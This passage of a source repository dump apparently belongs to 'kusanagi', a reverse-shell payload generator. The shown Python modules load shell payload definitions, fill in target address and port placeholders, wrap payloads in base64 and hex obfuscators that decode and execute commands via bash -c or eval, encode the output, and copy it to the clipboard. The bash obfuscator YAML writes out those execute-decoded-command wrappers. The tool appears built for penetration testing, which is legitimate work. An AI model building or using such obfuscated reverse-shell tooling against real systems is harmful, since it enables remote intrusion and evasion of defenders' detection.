obfuscator["code"]["language"]: 47 | # Check language version compatibility 48 | # Only obfuscate if versions (e.g. Python3 and Python3) are compatible 49 | # Also obfuscate if both have no version specified. 50 | code_v = code["code"]["requires"]["version"] 51 | obfu_v = obfuscator["code"]["requires"]["version"] 52 | if intersect(code_v, obfu_v) or (not code_v and not obfu_v): 53 | # Create obfuscated item 54 | code["builder"] = [code["payload"], obfuscator["payload"]] 55 | temp = parse([obfuscator], {"__CODE__": code["payload"]})[0] 56 | # Append obfuscated item 57 | items.append(_get_obfuscator_item(code, temp)) 58 | return items 59 | 60 | 61 | def _get_revshell_item(item: Dict[str, Any], obfuscated: bool) -> Dict[str, Any]: 62 | """Get an item.""" 63 | builder = item["builder"] if "builder" in item else [] 64 | data = { 65 | "name": item["name"], 66 | "desc": item["desc"], 67 | "info": item["info"], 68 | "rating": item["rating"], 69 | "code": { 70 | "obfuscated": obfuscated, 71 | "language": item["code"]["language"], 72 | "requires": { 73 | "version": item["code"]["requires"]["version"], 74 | "commands": item["code"]["requires"]["commands"], 75 | "functions": item["code"]["requires"]["functions"], 76 | "modules": item["code"]["requires"]["modules"], 77 | "os": item["code"]["requires"]["os"], 78 | }, 79 | }, 80 | "revshell": { 81 | "proto": item["revshell"]["proto"], 82 | "shell": item["revshell"]["shell"], 83 | "command": item["revshell"]["command"], 84 | }, 85 | "builder": builder, 86 | "payload": item["payload"], 87 | } 88 | return data 89 | 90 | 91 | def _get_obfuscator_item(code: Dict[str, Any], obfuscator: Dict[str, Any]) -> Dict[str, Any]: 92 | """Create code item from obfuscator.""" 93 | data = copy.deepcopy(code) 94 | 95 | # Data is combined 96 | data["name"] = obfuscator["name"] + " [ " + code["name"] + " ]" 97 | data["desc"] = code["desc"] + " -> " + obfuscator["desc"] 98 | data["info"] = code["info"] + obfuscator["info"] 99 | 100 | # Merge functions and modules 101 | data["code"]["requires"]["functions"] += obfuscator["code"]["requires"]["functions"] 102 | data["code"]["requires"]["modules"] += obfuscator["code"]["requires"]["modules"] 103 | # Ensure lists have unique items only 104 | data["code"]["requires"]["functions"] = unique(data["code"]["requires"]["functions"]) 105 | data["code"]["requires"]["modules"] = unique(data["code"]["requires"]["modules"]) 106 | 107 | # version and os are intersected 108 | ver = intersect(code["code"]["requires"]["version"], obfuscator["code"]["requires"]["version"]) 109 | os = intersect(code["code"]["requires"]["os"], obfuscator["code"]["requires"]["os"]) 110 | data["code"]["requires"]["version"] = ver 111 | data["code"]["requires"]["os"] = os 112 | data["payload"] = obfuscator["payload"] 113 | 114 | return _get_revshell_item(data, True) 115 | -------------------------------------------------------------------------------- /kusanagi/core/payload/cmd/obfuscator/validator.py: -------------------------------------------------------------------------------- 1 | """This file holds the payload yaml validator/definition template.""" 2 | 3 | VALIDATOR = { 4 | "specification": { 5 | "type": dict, 6 | "required": True, 7 | "childs": { 8 | "payload": { 9 | "type": str, 10 | "required": True, 11 | "allowed": "^(cmd)$", 12 | "childs": {}, 13 | }, 14 | "type": { 15 | "type": str, 16 | "required": True, 17 | "allowed": "^(obfuscator)$", 18 | "childs": {}, 19 | }, 20 | "version": { 21 | "type": str, 22 | "required": True, 23 | "allowed": "^([0-9]\\.[0-9]\\.[0-9])$", 24 | "childs": {}, 25 | }, 26 | }, 27 | }, 28 | "items": { 29 | "type": list, 30 | "required": True, 31 | "childs": { 32 | "name": { 33 | "type": str, 34 | "required": True, 35 | "allowed": "^(.+)$", 36 | "childs": {}, 37 | }, 38 | "desc": { 39 | "type": str, 40 | "required": True, 41 | "allowed": "^(.+)$", 42 | "childs": {}, 43 | }, 44 | "info": { 45 | "type": list, 46 | "required": True, 47 | "childs": {}, 48 | }, 49 | "meta": { 50 | "type": dict, 51 | "required": True, 52 | "childs": { 53 | "author": { 54 | "type": str, 55 | "required": True, 56 | "childs": {}, 57 | }, 58 | "editors": { 59 | "type": list, 60 | "required": True, 61 | "childs": {}, 62 | }, 63 | "created": { 64 | "type": str, 65 | "required": True, 66 | "allowed": "^([0-9]{4}-[0-9]{2}-[0-9]{2})$", 67 | "childs": {}, 68 | }, 69 | "modified": { 70 | "type": str, 71 | "required": True, 72 | "allowed": "^([0-9]{4}-[0-9]{2}-[0-9]{2})$", 73 | "childs": {}, 74 | }, 75 | "version": { 76 | "type": str, 77 | "required": True, 78 | "allowed": "^([0-9]\\.[0-9]\\.[0-9])$", 79 | "childs": {}, 80 | }, 81 | }, 82 | }, 83 | "cmd": { 84 | "type": dict, 85 | "required": True, 86 | "childs": { 87 | "requires": { 88 | "type": dict, 89 | "required": True, 90 | "childs": { 91 | "shell_env": { 92 | "type": list, 93 | "required": True, 94 | "childs": {}, 95 | }, 96 | "commands": { 97 | "type": list, 98 | "required": True, 99 | "childs": {}, 100 | }, 101 | "os": { 102 | "type": list, 103 | "required": True, 104 | "childs": {}, 105 | }, 106 | }, 107 | }, 108 | "overwrites": { 109 | "type": dict, 110 | "required": False, 111 | "childs": { 112 | "shell_env": { 113 | "type": list, 114 | "required": False, 115 | "childs": {}, 116 | }, 117 | }, 118 | }, 119 | }, 120 | }, 121 | "payload": { 122 | "type": str, 123 | "required": True, 124 | "allowed": "(.*__CMD__.*)", 125 | "childs": {}, 126 | }, 127 | }, 128 | }, 129 | } 130 | -------------------------------------------------------------------------------- /kusanagi/core/payload/cmd/revshell/__init__.py: -------------------------------------------------------------------------------- 1 | """Module to load reverse shell payloads.""" 2 | 3 | from typing import List, Dict, Any 4 | from ....helper import intersect 5 | from ....helper import unique 6 | from ....loader import load 7 | from ....parser import parse 8 | from ..obfuscator import * 9 | from .validator import VALIDATOR 10 | 11 | 12 | CMD_FILES = [ 13 | "bash.yml", 14 | ] 15 | 16 | CMD_SUBDIRS = ["cmd", "revshells"] 17 | 18 | 19 | def get_revshells(addr: str, port: str, obfuscated: bool) -> List[Dict[str, Any]]: 20 | """Returns list of reverse shell payloads.""" 21 | # Final items 22 | items = [] 23 | 24 | placeholders = { 25 | "__ADDR__": addr, 26 | "__PORT__": port, 27 | } 28 | 29 | # Get parsed items 30 | cmds = load(CMD_FILES, CMD_SUBDIRS, VALIDATOR) 31 | cmds = parse(cmds, placeholders) 32 | 33 | # Loop over items 34 | for cmd in cmds: 35 | 36 | # Add normal cmd item 37 | items.append(_get_revshell_item(cmd, False)) 38 | 39 | # Add obfuscated items as well? 40 | if obfuscated: 41 | for obfuscator in get_obfuscators(): 42 | # # Check for same language (cmd <-> obfuscator) 43 | # if cmd["cmd"]["language"] == obfuscator["cmd"]["language"]: 44 | # # Check language version compatibility 45 | # # Only obfuscate if versions (e.g. Python3 and Python3) are compatible 46 | # # Also obfuscate if both have no version specified. 47 | # cmd_v = cmd["cmd"]["requires"]["version"] 48 | # obfu_v = obfuscator["cmd"]["requires"]["version"] 49 | # if intersect(cmd_v, obfu_v) or (not cmd_v and not obfu_v): 50 | # # Create obfuscated item 51 | # temp = parse([obfuscator], {"__CMD__": cmd["payload"]})[0] 52 | # # Append obfuscated item 53 | # items.append(_get_obfuscator_item(cmd, temp)) 54 | # Create obfuscated item 55 | cmd["builder"] = [cmd["payload"], obfuscator["payload"]] 56 | temp = parse([obfuscator], {"__CMD__": cmd["payload"]})[0] 57 | # Append obfuscated item 58 | items.append(_get_obfuscator_item(cmd, temp)) 59 | return items 60 | 61 | 62 | def _get_revshell_item(item: Dict[str, Any], obfuscated: bool) -> Dict[str, Any]: 63 | """Get an item.""" 64 | builder = item["builder"] if "builder" in item else [] 65 | data = { 66 | "name": item["name"], 67 | "desc": item["desc"], 68 | "info": item["info"], 69 | "rating": item["rating"], 70 | "cmd": { 71 | "obfuscated": obfuscated, 72 | "executable": item["cmd"]["executable"], 73 | "requires": { 74 | "commands": item["cmd"]["requires"]["commands"], 75 | "shell_env": item["cmd"]["requires"]["shell_env"], 76 | "os": item["cmd"]["requires"]["os"], 77 | }, 78 | }, 79 | "revshell": { 80 | "proto": item["revshell"]["proto"], 81 | "shell": item["revshell"]["shell"], 82 | "command": item["revshell"]["command"], 83 | }, 84 | "builder": builder, 85 | "payload": item["payload"], 86 | } 87 | return data 88 | 89 | 90 | def _get_obfuscator_item(cmd: Dict[str, Any], obfuscator: Dict[str, Any]) -> Dict[str, Any]: 91 | """Create cmd item from obfuscator.""" 92 | data = copy.deepcopy(cmd) 93 | 94 | # Data is combined 95 | data["name"] = obfuscator["name"] + " [ " + cmd["name"] + " ]" 96 | data["desc"] = cmd["desc"] + " -> " + obfuscator["desc"] 97 | data["info"] = cmd["info"] + obfuscator["info"] 98 | 99 | # Commands are joined and ensured they are unique 100 | data["cmd"]["requires"]["commands"] += obfuscator["cmd"]["requires"]["commands"] 101 | data["cmd"]["requires"]["commands"] = unique(data["cmd"]["requires"]["commands"]) 102 | 103 | # shell_env and os are intersected 104 | env = intersect(cmd["cmd"]["requires"]["shell_env"], obfuscator["cmd"]["requires"]["shell_env"]) 105 | os = intersect(cmd["cmd"]["requires"]["os"], obfuscator["cmd"]["requires"]["os"]) 106 | data["cmd"]["requires"]["shell_env"] = env 107 | data["cmd"]["requires"]["os"] = os 108 | 109 | # Evaluate overwrites 110 | if "overwrites" in obfuscator["cmd"]: 111 | if "shell_env" in obfuscator["cmd"]["overwrites"]: 112 | data["cmd"]["requires"]["shell_env"] = obfuscator["cmd"]["overwrites"]["shell_env"] 113 | 114 | data["payload"] = obfuscator["payload"] 115 | 116 | return _get_revshell_item(data, True) 117 | -------------------------------------------------------------------------------- /kusanagi/core/payload/code/revshell/validator.py: -------------------------------------------------------------------------------- 1 | """This file holds the payload yaml validator/definition template.""" 2 | 3 | VALIDATOR = { 4 | "specification": { 5 | "type": dict, 6 | "required": True, 7 | "childs": { 8 | "payload": { 9 | "type": str, 10 | "required": True, 11 | "allowed": "^(code)$", 12 | "childs": {}, 13 | }, 14 | "type": { 15 | "type": str, 16 | "required": True, 17 | "allowed": "^(revshell|bindshell)$", 18 | "childs": {}, 19 | }, 20 | "version": { 21 | "type": str, 22 | "required": True, 23 | "allowed": "^([0-9]\\.[0-9]\\.[0-9])$", 24 | "childs": {}, 25 | }, 26 | }, 27 | }, 28 | "items": { 29 | "type": list, 30 | "required": True, 31 | "childs": { 32 | "name": { 33 | "type": str, 34 | "required": True, 35 | "allowed": "^(.+)$", 36 | "childs": {}, 37 | }, 38 | "desc": { 39 | "type": str, 40 | "required": True, 41 | "allowed": "^(.+)$", 42 | "childs": {}, 43 | }, 44 | "info": { 45 | "type": list, 46 | "required": True, 47 | "childs": {}, 48 | }, 49 | "rating": { 50 | "type": int, 51 | "required": True, 52 | "allowed": "^([0-9])$", 53 | "childs": {}, 54 | }, 55 | "code": { 56 | "type": dict, 57 | "required": True, 58 | "childs": { 59 | "language": { 60 | "type": str, 61 | "required": True, 62 | "allowed": "^(.+)$", 63 | "childs": {}, 64 | }, 65 | "requires": { 66 | "type": dict, 67 | "required": True, 68 | "childs": { 69 | "version": { 70 | "type": list, 71 | "required": True, 72 | "childs": {}, 73 | }, 74 | "commands": { 75 | "type": list, 76 | "required": True, 77 | "childs": {}, 78 | }, 79 | "functions": { 80 | "type": list, 81 | "required": True, 82 | "childs": {}, 83 | }, 84 | "modules": { 85 | "type": list, 86 | "required": True, 87 | "childs": {}, 88 | }, 89 | "os": { 90 | "type": list, 91 | "required": True, 92 | "childs": {}, 93 | }, 94 | }, 95 | }, 96 | }, 97 | }, 98 | "revshell": { 99 | "type": dict, 100 | "required": True, 101 | "childs": { 102 | "proto": { 103 | "type": str, 104 | "required": True, 105 | "allowed": "^(tcp|udp)$", 106 | "childs": {}, 107 | }, 108 | "shell": { 109 | "type": str, 110 | "required": True, 111 | "allowed": "^(.+)$", 112 | "childs": {}, 113 | }, 114 | "command": { 115 | "type": (str, type(None)), 116 | "required": True, 117 | "allowed": "^(.+)$", 118 | "childs": {}, 119 | }, 120 | }, 121 | }, 122 | "payload": { 123 | "type": str, 124 | "required": True, 125 | "allowed": "(.*__ADDR__.*__PORT__.*|.*__PORT__.*__ADDR__.*)", 126 | "childs": {}, 127 | }, 128 | }, 129 | }, 130 | } 131 | -------------------------------------------------------------------------------- /kusanagi/core/output/encoder/__init__.py: -------------------------------------------------------------------------------- 1 | """Encoder module.""" 2 | from typing import Dict, List, Any 3 | from argparse import ArgumentTypeError 4 | 5 | import os 6 | import pathlib 7 | import base64 8 | import re 9 | import html 10 | import urllib.parse 11 | 12 | 13 | AVAILABLE_ENCODERS = { 14 | "url": "URL encodes the data.", 15 | "urlplus": "URL encodes the data and converts spaces to '+' signs", 16 | "html": "Convert all applicable characters to HTML entities", 17 | "hex": "Convert to hex, prepended with \\x", 18 | "hexesc": "Convert to hex, prepended with escaped \\\\x (double slash)", 19 | "hex0x": "Convert to hex, prepended with 0x", 20 | "hexplain": "Convert to hex characters, no prefix", 21 | "base64": "base64 encoding", 22 | "base64pad": "base64 encoding with padding to achieve: [A-Za-z0-9+]", 23 | "2xbase64pad": "Double base64 encoding with padding to achieve: [A-Za-z0-9]", 24 | } 25 | 26 | 27 | # -------------------------------------------------------------------------------------------------- 28 | # Public functions 29 | # -------------------------------------------------------------------------------------------------- 30 | def encode(data: str, encoder_name: str) -> str: 31 | """Encodes a string with the given encoder name.""" 32 | func = globals()["_encode_" + encoder_name] 33 | data = func(data) 34 | return data 35 | 36 | 37 | # -------------------------------------------------------------------------------------------------- 38 | # Public argparse functions 39 | # -------------------------------------------------------------------------------------------------- 40 | def argparse_encoder_validate(encoder: str) -> str: 41 | """Argparse choice function to select encoders.""" 42 | if encoder not in AVAILABLE_ENCODERS: 43 | raise ArgumentTypeError("%s is an invalid encoder." % encoder) 44 | return encoder 45 | 46 | 47 | def argparse_encoder_list() -> None: 48 | """List available encoder for argument --list-encoders.""" 49 | print("Available encoders:\n") 50 | print("{:<12}| {}".format("NAME", "DESCRIPTION")) 51 | print("{}|{}".format("-" * 12, "-" * 12)) 52 | for encoder in AVAILABLE_ENCODERS: 53 | print("{:<12}| {}".format(encoder, AVAILABLE_ENCODERS[encoder])) 54 | 55 | 56 | # -------------------------------------------------------------------------------------------------- 57 | # Available Encoders 58 | # -------------------------------------------------------------------------------------------------- 59 | 60 | 61 | def _encode_url(data: str) -> str: 62 | """URL encodes the string.""" 63 | return urllib.parse.quote(data, safe="") 64 | 65 | 66 | def _encode_urlplus(data: str) -> str: 67 | """URL encodes the string and converts spaces to a '+' sign.""" 68 | return urllib.parse.quote_plus(data, safe="") 69 | 70 | 71 | def _encode_html(data: str) -> str: 72 | """Html entity encodes the string.""" 73 | return html.escape(data) 74 | 75 | 76 | def _encode_hex(data: str) -> str: 77 | temp = [] 78 | for char in data: 79 | temp.append(hex(ord(char)).replace("0x", "\\x")) 80 | return "".join(temp) 81 | 82 | 83 | def _encode_hexesc(data: str) -> str: 84 | temp = [] 85 | for char in data: 86 | temp.append(hex(ord(char)).replace("0x", "\\\\x")) 87 | return "".join(temp) 88 | 89 | 90 | def _encode_hex0x(data: str) -> str: 91 | temp = [] 92 | for char in data: 93 | temp.append(hex(ord(char))) 94 | return "".join(temp) 95 | 96 | 97 | def _encode_hexplain(data: str) -> str: 98 | temp = [] 99 | for char in data: 100 | temp.append(hex(ord(char)).replace("0x", "")) 101 | return "".join(temp) 102 | 103 | 104 | def _encode_base64(data: str) -> str: 105 | """Base 64 encodes a string.""" 106 | ebytes = base64.b64encode(data.encode("utf-8")) 107 | estring = str(ebytes, "utf-8") 108 | return estring 109 | 110 | 111 | def _encode_base64pad(data: str) -> str: 112 | """Base64 encodes with space padding to ensure output only contains [a-zA-Z0-9+].""" 113 | pattern = r"[^a-zA-Z0-9\+]" 114 | regex = re.compile(pattern) 115 | while True: 116 | ebytes = base64.b64encode(data.encode("utf-8")) 117 | estring = str(ebytes, "utf-8") 118 | if not regex.findall(estring): 119 | break 120 | # Pad with trailing space and try again to eliminate base64 pad chars 121 | data = data + " " 122 | 123 | return estring 124 | 125 | 126 | def _encode_2xbase64pad(data: str) -> str: 127 | """Base64 encodes twice with space padding to ensure output only contains [a-zA-Z0-9].""" 128 | pattern = r"[^a-zA-Z0-9]" 129 | regex = re.compile(pattern) 130 | while True: 131 | # First run 132 | ebytes = base64.b64encode(data.encode("utf-8")) 133 | estring = str(ebytes, "utf-8") 134 | 135 | # Second run 136 | ebytes = base64.b64encode(estring.encode("utf-8")) 137 | estring = str(ebytes, "utf-8") 138 | 139 | if not regex.findall(estring): 140 | break 141 | # Pad with trailing space and try again to eliminate base64 pad/special chars 142 | data = data + " " 143 | 144 | return estring 145 | -------------------------------------------------------------------------------- /kusanagi/core/payload/cmd/revshell/validator.py: -------------------------------------------------------------------------------- 1 | """This file holds the payload yaml validator/definition template.""" 2 | 3 | VALIDATOR = { 4 | "specification": { 5 | "type": dict, 6 | "required": True, 7 | "childs": { 8 | "payload": { 9 | "type": str, 10 | "required": True, 11 | "allowed": "^(cmd)$", 12 | "childs": {}, 13 | }, 14 | "type": { 15 | "type": str, 16 | "required": True, 17 | "allowed": "^(revshell|bindshell)$", 18 | "childs": {}, 19 | }, 20 | "version": { 21 | "type": str, 22 | "required": True, 23 | "allowed": "^([0-9]\\.[0-9]\\.[0-9])$", 24 | "childs": {}, 25 | }, 26 | }, 27 | }, 28 | "items": { 29 | "type": list, 30 | "required": True, 31 | "childs": { 32 | "name": { 33 | "type": str, 34 | "required": True, 35 | "allowed": "^(.+)$", 36 | "childs": {}, 37 | }, 38 | "desc": { 39 | "type": str, 40 | "required": True, 41 | "allowed": "^(.+)$", 42 | "childs": {}, 43 | }, 44 | "info": { 45 | "type": list, 46 | "required": True, 47 | "childs": {}, 48 | }, 49 | "rating": { 50 | "type": int, 51 | "required": True, 52 | "allowed": "^([0-9])$", 53 | "childs": {}, 54 | }, 55 | "meta": { 56 | "type": dict, 57 | "required": True, 58 | "childs": { 59 | "author": { 60 | "type": str, 61 | "required": True, 62 | "childs": {}, 63 | }, 64 | "editors": { 65 | "type": list, 66 | "required": True, 67 | "childs": {}, 68 | }, 69 | "created": { 70 | "type": str, 71 | "required": True, 72 | "allowed": "^([0-9]{4}-[0-9]{2}-[0-9]{2})$", 73 | "childs": {}, 74 | }, 75 | "modified": { 76 | "type": str, 77 | "required": True, 78 | "allowed": "^([0-9]{4}-[0-9]{2}-[0-9]{2})$", 79 | "childs": {}, 80 | }, 81 | "version": { 82 | "type": str, 83 | "required": True, 84 | "allowed": "^([0-9]\\.[0-9]\\.[0-9])$", 85 | "childs": {}, 86 | }, 87 | }, 88 | }, 89 | "cmd": { 90 | "type": dict, 91 | "required": True, 92 | "childs": { 93 | "executable": { 94 | "type": str, 95 | "required": True, 96 | "allowed": "^(.+)$", 97 | "childs": {}, 98 | }, 99 | "requires": { 100 | "type": dict, 101 | "required": True, 102 | "childs": { 103 | "commands": { 104 | "type": list, 105 | "required": True, 106 | "childs": {}, 107 | }, 108 | "shell_env": { 109 | "type": list, 110 | "required": True, 111 | "childs": {}, 112 | }, 113 | "os": { 114 | "type": list, 115 | "required": True, 116 | "childs": {}, 117 | }, 118 | }, 119 | }, 120 | }, 121 | }, 122 | "revshell": { 123 | "type": dict, 124 | "required": True, 125 | "childs": { 126 | "proto": { 127 | "type": str, 128 | "required": True, 129 | "allowed": "^(tcp|udp)$", 130 | "childs": {}, 131 | }, 132 | "shell": { 133 | "type": str, 134 | "required": True, 135 | "allowed": "^(.+)$", 136 | "childs": {}, 137 | }, 138 | "command": { 139 | "type": (str, type(None)), 140 | "required": True, 141 | "allowed": "^(.+)$", 142 | "childs": {}, 143 | }, 144 | }, 145 | }, 146 | "payload": { 147 | "type": str, 148 | "required": True, 149 | "allowed": "(.*__ADDR__.*__PORT__.*|.*__PORT__.*__ADDR__.*)", 150 | "childs": {}, 151 | }, 152 | }, 153 | }, 154 | } 155 | -------------------------------------------------------------------------------- /kusanagi/files/cmd/obfuscators/bash-gnu.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | ### 4 | ### Meta definitions 5 | ### 6 | specification: 7 | payload: cmd 8 | type: obfuscator 9 | version: 0.0.1 10 | 11 | 12 | ### 13 | ### Items 14 | ### 15 | items: 16 | 17 | ### 18 | ### [1] bash -c base64 (GNU) 19 | ### 20 | - name: "bash -c base64 (GNU)" 21 | desc: "bash -c \"$(echo |base64 -d)\"" 22 | info: 23 | - Using GNU version of base64 (Linux only) 24 | meta: 25 | author: cytopia 26 | editors: ["cytopia"] 27 | created: "2021-04-08" 28 | modified: "2021-04-08" 29 | version: 0.0.1 30 | cmd: 31 | requires: 32 | shell_env: ["bash"] 33 | commands: ["bash", "echo", "base64"] 34 | os: ["linux"] 35 | overwrites: 36 | # As the payload will be wrapped into bash -c by this obfuscator, 37 | # we're overwriting the 'shell_env" (so it is not an intersection), 38 | # as this command can now be run from within any shell (magic is inside bash -c '...') 39 | shell_env: ["bash", "csh", "dash", "ksh", "sh", "tcsh", "zsh"] 40 | payload: bash -c "$(echo __CMD__|base64 -d)" 41 | 42 | - name: "bash -c base64 (GNU)" 43 | desc: "bash -c \"`echo |base64 -d`\"" 44 | info: 45 | - Using GNU version of base64 46 | meta: 47 | author: cytopia 48 | editors: ["cytopia"] 49 | created: "2021-04-08" 50 | modified: "2021-04-08" 51 | version: 0.0.1 52 | cmd: 53 | requires: 54 | shell_env: ["bash"] 55 | commands: ["bash", "echo", "base64"] 56 | os: ["linux"] 57 | overwrites: 58 | # As the payload will be wrapped into bash -c by this obfuscator, 59 | # we're overwriting the 'shell_env" (so it is not an intersection), 60 | # as this command can now be run from within any shell (magic is inside bash -c '...') 61 | shell_env: ["bash", "csh", "dash", "ksh", "sh", "tcsh", "zsh"] 62 | payload: bash -c "`echo __CMD__|base64 -d`" 63 | 64 | 65 | ### 66 | ### [2] bash -c base64^2 67 | ### 68 | - name: "bash -c base64^2" 69 | desc: "bash -c \"$(echo |base64|base64 -d)\" # to avoid '+' char" 70 | info: 71 | - Using GNU version of base64 (Linux only) 72 | meta: 73 | author: cytopia 74 | editors: ["cytopia"] 75 | created: "2021-04-08" 76 | modified: "2021-04-08" 77 | version: 0.0.1 78 | cmd: 79 | requires: 80 | shell_env: ["bash"] 81 | commands: ["bash", "echo", "base64"] 82 | os: ["linux"] 83 | overwrites: 84 | # As the payload will be wrapped into bash -c by this obfuscator, 85 | # we're overwriting the 'shell_env" (so it is not an intersection), 86 | # as this command can now be run from within any shell (magic is inside bash -c '...') 87 | shell_env: ["bash", "csh", "dash", "ksh", "sh", "tcsh", "zsh"] 88 | payload: bash -c "$(echo __CMD__|base64 -d)" 89 | 90 | - name: "bash -c base64^2" 91 | desc: "bash -c \"`echo |base64|base64 -d`\" # to avoid '+' char" 92 | info: 93 | - Using GNU version of base64 (Linux only) 94 | meta: 95 | author: cytopia 96 | editors: ["cytopia"] 97 | created: "2021-04-08" 98 | modified: "2021-04-08" 99 | version: 0.0.1 100 | cmd: 101 | requires: 102 | shell_env: ["bash"] 103 | commands: ["bash", "echo", "base64"] 104 | os: ["linux"] 105 | overwrites: 106 | # As the payload will be wrapped into bash -c by this obfuscator, 107 | # we're overwriting the 'shell_env" (so it is not an intersection), 108 | # as this command can now be run from within any shell (magic is inside bash -c '...') 109 | shell_env: ["bash", "csh", "dash", "ksh", "sh", "tcsh", "zsh"] 110 | payload: bash -c "`echo __CMD__|base64 -d`" 111 | 112 | 113 | # ### 114 | # ### [3] eval base64 115 | # ### 116 | # - name: "eval base64" 117 | # desc: "eval $(echo |base64 -d)" 118 | # meta: 119 | # authors: ["cytopia"] 120 | # created: "2021-04-08" 121 | # modified: "2021-04-08" 122 | # version: 0.0.1 123 | # filters: 124 | # shells: ["bash"] 125 | # commands: ["eval", "echo", "base64"] 126 | # encoders: ["base64pad"] 127 | # payload: eval $(echo __CMD__|base64 -d) 128 | # 129 | # - name: "eval base64" 130 | # desc: eval base64 padded code to eliminate = char 131 | # meta: 132 | # authors: ["cytopia"] 133 | # created: "2021-04-08" 134 | # modified: "2021-04-08" 135 | # version: 0.0.1 136 | # filters: 137 | # shells: ["bash"] 138 | # commands: ["eval", "echo", "base64"] 139 | # encoders: ["base64pad"] 140 | # payload: eval `echo __CMD__|base64 -d` 141 | # 142 | # 143 | # ### 144 | # ### [4] eval base64 base64 145 | # ### 146 | # - name: "eval base64 base64" 147 | # desc: eval double base64 code to eliminate + char 148 | # meta: 149 | # authors: ["cytopia"] 150 | # created: "2021-04-08" 151 | # modified: "2021-04-08" 152 | # version: 0.0.1 153 | # filters: 154 | # shells: ["bash"] 155 | # commands: ["eval", "echo", "base64"] 156 | # encoders: ["2xbase64pad"] 157 | # payload: eval $(echo __CMD__|base64 -d|base64 -d) 158 | # 159 | # - name: "eval base64 base64" 160 | # desc: eval double base64 code to eliminate + char 161 | # meta: 162 | # authors: ["cytopia"] 163 | # created: "2021-04-08" 164 | # modified: "2021-04-08" 165 | # version: 0.0.1 166 | # filters: 167 | # shells: ["bash"] 168 | # commands: ["eval", "echo", "base64"] 169 | # encoders: ["2xbase64pad"] 170 | # payload: eval `echo __CMD__|base64 -d|base64 -d1` 171 | # 172 | # 173 | # ### 174 | # ### [5] printf hex bash 175 | # ### 176 | # - name: "printf hex bash" 177 | # desc: hex quoted code 178 | # meta: 179 | # authors: ["cytopia"] 180 | # created: "2021-04-08" 181 | # modified: "2021-04-08" 182 | # version: 0.0.1 183 | # filters: 184 | # shells: ["bash"] 185 | # commands: ["printf", "bash"] 186 | # encoders: ["hex"] 187 | # payload: printf '__CMD__'|bash 188 | # 189 | # - name: "printf hex bash" 190 | # desc: hex quoted code 191 | # meta: 192 | # authors: ["cytopia"] 193 | # created: "2021-04-08" 194 | # modified: "2021-04-08" 195 | # version: 0.0.1 196 | # filters: 197 | # shells: ["bash"] 198 | # commands: ["printf", "bash"] 199 | # encoders: ["hex"] 200 | # payload: printf "__CMD__"|bash 201 | # 202 | # 203 | # ### 204 | # ### [6] printf hex-escaped bash 205 | # ### 206 | # - name: "printf hex-escaped bash" 207 | # desc: hex escaped code 208 | # meta: 209 | # authors: ["cytopia"] 210 | # created: "2021-04-08" 211 | # modified: "2021-04-08" 212 | # version: 0.0.1 213 | # filters: 214 | # shells: ["bash"] 215 | # commands: ["printf", "bash"] 216 | # encoders: ["hexesc"] 217 | # payload: printf __CMD__|bash 218 | -------------------------------------------------------------------------------- /kusanagi/core/output/__init__.py: -------------------------------------------------------------------------------- 1 | """Output module.""" 2 | 3 | from typing import List, Dict, Optional, Any 4 | import sys 5 | import re 6 | from .printer import Printer 7 | from .clipboard import copy_to_clipboard 8 | from .encoder import encode 9 | 10 | 11 | def output_payloads( 12 | items: List[Dict[str, Any]], 13 | payload: Dict[str, Any], 14 | encoders: List[str], 15 | options: Dict[str, Any], 16 | ) -> None: 17 | """Output/print payloads to terminal. 18 | 19 | Args: 20 | items (List[dict]): The payload items to print 21 | payload (dict): Payload type information. 22 | encoders (List[str]): Output encoder. 23 | options (dict): Copy to clipboard/show details 24 | """ 25 | p = Printer(True) 26 | 27 | # Copy payload to clipboard 28 | if options["copy"] != -1: 29 | copy_item(p, items, options["copy"], encoders) 30 | return None 31 | 32 | # Show info output 33 | # if options["info"] != -1: 34 | # print("TODO: INFO") 35 | # return None 36 | 37 | # Show quick output 38 | if options["quick"]: 39 | for i, _ in enumerate(items): 40 | output_header_small(p, items[i], i) 41 | output_payload(p, items[i], encoders) 42 | return None 43 | 44 | # Show normal (verbose output) 45 | for i, _ in enumerate(items): 46 | output_header_big(p, items[i], i) 47 | output_revshell_info(p, items[i], payload) 48 | output_target_requirements(p, items[i], payload) 49 | output_inject_requirements(p, items[i]) 50 | output_build_requirements(p, items[i]) 51 | output_help(p, i) 52 | output_encoders(p, items[i], encoders) 53 | output_payload(p, items[i], encoders) 54 | return None 55 | 56 | 57 | def copy_item( 58 | p: Printer, items: List[Dict[str, Any]], index: Optional[int], encoders: List[str] 59 | ) -> None: 60 | """Copy specified item payload to clipboard.""" 61 | # If index is none (no number specified), we will just copy the last item element 62 | if index is None: 63 | index = -1 64 | # Get item by index 65 | try: 66 | item = items[index] 67 | except IndexError: 68 | print(f"[ERROR] payload with index {index} does not exist", file=sys.stderr) 69 | sys.exit(1) 70 | else: 71 | # Encode items 72 | data = item["payload"] 73 | for encoder in encoders: 74 | data = encode(data, encoder) 75 | # Copy to clipboard 76 | try: 77 | copy_to_clipboard(data) 78 | except OSError as error: 79 | print(f"[ERROR] No clipboard mechanism available on your system\n{error}", file=sys.stderr) 80 | sys.exit(1) 81 | else: 82 | # Normalize item index for output 83 | if index == -1: 84 | index = len(items) - 1 85 | output_header_small(p, item, index) 86 | output_payload(p, item, encoders) 87 | print("copied", file=sys.stderr) 88 | 89 | 90 | def output_header_small(p: Printer, item: Dict[str, Any], index: int) -> None: 91 | """Output/print item header to terminal.""" 92 | p.stderr("") 93 | p.stderr("[", end="") 94 | p.stderr(f"{index}", "blue", end="") 95 | p.stderr("] ", end="") 96 | p.stderr(f"{item['name']}") 97 | 98 | 99 | def output_header_big(p: Printer, item: Dict[str, Any], index: int) -> None: 100 | """Output payload header.""" 101 | # Print headline 102 | p.stderr("") 103 | p.stderr("-" * 80) 104 | p.stderr("[", end="") 105 | p.stderr(f"{index}", "blue", end="") 106 | p.stderr("] ", end="") 107 | p.stderr(f"{item['name']}", "yellow") 108 | p.stderr("-" * 80) 109 | 110 | # description/info 111 | p.stderr(f"{item['desc']}", "yellow") 112 | for info in item["info"]: 113 | p.stderr(f"info: {info}") 114 | 115 | 116 | def output_revshell_info(p: Printer, item: Dict[str, Any], payload: Dict[str, Any]) -> None: 117 | """Output payload section.""" 118 | # Print headline 119 | p.stderr("") 120 | p.stderr("PAYLOAD", "magenta") 121 | 122 | # target 123 | p.stderr(" target: ", end="") 124 | p.stderr(f"{payload['revshell']['addr']}", "blue", end="") 125 | p.stderr(":", end="") 126 | 